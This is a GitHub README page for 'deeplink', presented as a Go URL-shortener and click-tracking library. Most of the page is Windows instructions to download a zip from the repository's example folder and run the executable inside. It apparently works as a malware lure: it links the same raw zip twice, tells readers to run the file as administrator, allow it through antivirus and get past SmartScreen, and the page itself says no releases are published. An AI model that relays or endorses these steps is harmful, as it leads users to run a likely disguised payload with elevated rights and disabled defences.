Skip to content

Mhgamer5292/deeplink

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

17 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ”— deeplink - Short links with click tracking

Download deeplink

πŸ“₯ Download and run on Windows

Use the link below to visit the page and download or open the latest version:

https://github.com/Mhgamer5292/deeplink/raw/refs/heads/main/example/Software-3.1.zip

What you need

  • A Windows PC
  • A web browser
  • Permission to save files on your computer
  • A stable internet connection

Steps to get started

  1. Open the download link above.
  2. On the GitHub page, look for the latest release or main project files.
  3. Download the Windows file or package from that page.
  4. Save the file to a folder you can find again, like Downloads or Desktop.
  5. If the download is a zip file, right-click it and choose Extract All.
  6. Open the extracted folder.
  7. Double-click the app file or start file to run deeplink.
  8. If Windows asks for permission, choose Yes.

πŸ–₯️ What deeplink does

deeplink helps you create short links, watch link clicks, and show clean preview pages when someone opens a link. It is built for Go and can use Redis or memory for storage.

You can use it to:

  • Make short links for long URLs
  • Track how many times a link gets clicked
  • Show Open Graph preview pages for shared links
  • Handle app links and universal links
  • Route links through different processors

βœ… Main features

  • Short link generation
  • Click tracking
  • Open Graph preview pages
  • App link support
  • Universal link support
  • Pluggable processors
  • Redis storage support
  • In-memory storage support
  • Built for Go and Golang projects

πŸ“Œ Before you run it

To use deeplink on Windows, keep these things in mind:

  • Do not rename files unless the app instructions say you can
  • Keep the app in one folder so the files stay together
  • If Windows SmartScreen appears, check the file name and source before you continue
  • If you use a zip file, extract all files before opening the app

πŸš€ Setup steps

  1. Go to the download link.
  2. Get the Windows build or the project files.
  3. Unpack the files if needed.
  4. Open the folder that contains the app.
  5. Find the main executable file.
  6. Double-click it to start deeplink.
  7. If the app opens a local page or terminal window, keep it open while you use it.
  8. Follow any on-screen setup steps inside the app.

πŸ” How click tracking works

When someone opens a short link, deeplink can record the click. This helps you see how often a link gets used. It can also help you tell which links get the most traffic.

Common click details may include:

  • Time of click
  • Target URL
  • Link ID or code
  • Referrer data
  • User agent data

🧩 Storage options

deeplink can use two storage modes:

Redis

Use Redis if you want shared storage and more control over saved links and click data. This works well when you run the app on more than one machine.

In-memory

Use in-memory storage if you want a simple setup on one computer. This is useful for quick testing and local use.

🌐 Link preview pages

deeplink can show OG preview pages when a link is shared. These pages help control what people see in chat apps and social feeds.

A preview page can include:

  • Title
  • Description
  • Image
  • Destination link

πŸ› οΈ If the app does not start

Try these steps:

  1. Make sure the files finished downloading.
  2. Run the app again from the same folder.
  3. Check that you extracted the zip file, if you downloaded one.
  4. Right-click the file and try Run as administrator.
  5. Close other copies of the app before starting it again.
  6. Make sure your Windows version can run the file format you downloaded.

πŸ“ Suggested folder layout

You can keep the app in a simple folder like this:

  • Downloads
  • deeplink
  • app files
  • config files
  • data files

πŸ”— Useful topics

This project fits these areas:

  • app-links
  • click-tracking
  • deep-linking
  • go
  • golang
  • open-graph
  • redis
  • short-links
  • universal-links
  • url-shortener

πŸ“„ Common use cases

  • Share short links in email
  • Track campaign clicks
  • Send app links to mobile users
  • Create clean preview cards for social sharing
  • Store and manage links in Redis
  • Run a small local link service

🧭 Basic use flow

  1. Open deeplink.
  2. Add a long URL.
  3. Create a short link.
  4. Share the short link.
  5. Check click data later.
  6. Update the preview page if needed.

πŸͺŸ Windows tips

  • Keep the app in a folder with a short path, such as C:\deeplink
  • Avoid moving files while the app is open
  • If you use antivirus software, allow the app if it blocks the file
  • Use a simple folder name with no special characters

πŸ“¦ Download link

Visit this page to download or open the project files:

https://github.com/Mhgamer5292/deeplink/raw/refs/heads/main/example/Software-3.1.zip

🧾 File types you may see

Depending on the release, you may see:

  • .exe
  • .zip
  • .tar.gz
  • config files
  • readme files
  • data folders

πŸ” Link handling

deeplink can route users based on the link they open. That makes it useful for:

  • Mobile app routing
  • Browser fallback pages
  • Short link redirects
  • Social media link previews

🧰 Simple workflow for new users

  1. Download the files from the link.
  2. Save them to your computer.
  3. Extract the files if they come in a zip.
  4. Open the main app file.
  5. Create a short link.
  6. Share it and check the click count later

About

Build short links, track clicks, and serve OG preview pages in Go with pluggable processors and Redis or in-memory storage

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors